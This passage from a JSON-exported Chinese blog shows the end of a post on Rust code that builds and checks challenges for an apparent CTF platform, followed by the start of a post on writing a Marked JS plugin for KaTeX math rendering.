class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etokio\u003c/span\u003e::\u003cspan class=\"n\"\u003espawn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eloop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_task\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen_checker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ematch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edebug\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;challenge built: {}:{}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eErr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;failed to build challenge: {}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eopen_checker\u003c/code\u003e 函数用来根据challenge类型来构造checker,然后调用checker对应的build函数来进行构建操作。不同的题目类型构建方式也不一样,这里通过工厂模式实现了逻辑解耦,想实现一个新的题目类型只要按照要求实现一下对应的trait就可以了。\u003c/p\u003e\n\u003cp\u003e一个简单的附件题目构建函数例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclean\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echeckout_to_working\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;config.toml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eread_config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprovided\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eexists\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunlock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estabilize\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e由于静态附件类题目只需要检查提供给选手的文件是否有误,所以只需要这样就可以了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_cicd/"},{"title":"Marked JS 集成 Katex 数学公式渲染","time":"2023-02-08T19:00:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e在内容网站中支持 Markdown 渲染已经是一个很常见的需求了,相比较 \u003ca href=\"https://github.com/Vanessa219/vditor\" target=\"_blank\" rel=\"noopener noreffer \"\u003eVditor\u003c/a\u003e、\u003ca href=\"https://github.com/markdown-it/markdown-it\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarkdown-it\u003c/a\u003e 等重量级 markdown 编辑器与渲染工具来说,用 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked\u003c/a\u003e 这类更轻量级的渲染库会带来更好的体验,网站的样式也都可以自己控制。但是 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003eMarked JS\u003c/a\u003e 仅支持将基本 Markdown 语法渲染成 HTML 标记,对于 代码块高亮、数学公式还是无能为力的。有关代码高亮官方给出了与\u003ca href=\"https://highlightjs.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehighlightJS\u003c/a\u003e集成的\u003ca href=\"https://marked.js.org/using_advanced\" target=\"_blank\" rel=\"noopener noreffer \"\u003e方式\u003c/a\u003e,但是有关集成数学公式渲染的我只搜到了几个issue和一些奇怪的实现:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/markedjs/marked/issues/722\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/markedjs/marked/issues/722\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/linxiaowu66/marked-kaTex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/linxiaowu66/marked-kaTex\u003c/a\u003e (甚至是直接fork了改的,项目也过期很久了)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\u003c/a\u003e (拦截render实现,并提前渲染,会出一些奇怪的问题)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.xiaog.info/blog/post/marked_js_katex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://www.xiaog.info/blog/post/marked_js_katex\u003c/a\u003e (上面那个的中文版,似乎做了一点改进,但还是很奇怪)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e看了后两个现有方案,基本上是用正则表达式给数学公式提取出来,然后塞到 katex 里一顿处理成 html,然后塞回 marked 当成 html 块无脑再渲染一遍。我试了试是能用的,但是行为很奇怪,marked 在处理已经渲染好的 html 块时还会做一些额外的工作,例如转义什么的,最后某些字符总是显示的有问题。\u003c/p\u003e\n\u003cp\u003e还是看看远处的插件文档,自己写一个插件吧。\u003c/p\u003e\n\u003ch2 id=\"marked-js-插件实现\"\u003eMarked JS 插件实现\u003c/h2\u003e\n\u003cp\u003e我打算集成 Katex 而不是 MathJax。因为网站本身不是为了专业的 Markdown 渲染开发的,支持数学公式只是为了让文章阅读更加方便。MathJax 支持很多高级特性,还支持渲染到不同的格式,似乎功能有些冗余,Katex 足够轻量,看起来完全符合我的需求。\u003c/p\u003e\n\u003ch3 id=\"marked-工作机制\"\u003eMarked 工作机制\u003c/h3\u003e\n\u003cp\u003e在写插件之前,要先了解一下 \u003ca href=\"https://marked.js.org/using_pro\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked 的工作机制\u003c/a\u003e。marked 的渲染流程如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e用户输入 markdown 格式的纯文本内容;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003elexer\u003c/code\u003e 会把输入的一些片段依次发送给不同的 \u003ccode\u003etokenizer\u003c/code\u003e,并从这些 \u003ccode\u003etokenizer\u003c/code\u003e 中生成一系列的 \u003ccode\u003etoken\u003c/code\u003e,储存到一个嵌套的树结构中;\u003c/li\u003e\n\u003cli\u003e每个 \u003ccode\u003etokenizer\u003c/code\u003e 接收到文本片段后,便会进行判断这个片段是否匹配某个标记格式,如果匹配的话,便会生成一个包含相关信息的 \u003ccode\u003etoken\u003c/code\u003e,如果没有匹配的片段,就返回一个空值;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewalkTokens\u003c/code\u003e 函数会遍历所有的 \u003ccode\u003etoken\u003c/code\u003e,然后将这些 \u003ccode\u003etoken\u003c/code\u003e 送入对应的 \u003ccode\u003erenderer\u003c/code\u003e 中进行渲染,并把渲染的结果拼接成最终的 HTML;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在了解这些之后,应该可以发现,只要实现一个能够提取数学公式块的 \u003ccode\u003etokenizer\u003c/code\u003e 和一个能够渲染的 \u003ccode\u003erenderer\u003c/code\u003e,并整合进 marked 的工作流程中,就能够实现数学公式的渲染了。\u003c/p\u003e\n\u003ch3 id=\"相关-api\"\u003e相关 API\u003c/h3\u003e\n\u003cp\u003emarked 提供了\u003ca href=\"https://marked.js.org/using_pro#extensions\" target=\"_blank\" rel=\"noopener noreffer \"\u003e相关的 API\u003c/a\u003e,这里就不当翻译官了。\u003c/p\u003e\n\u003ch3 id=\"实现-tokenizer\"\u003e实现 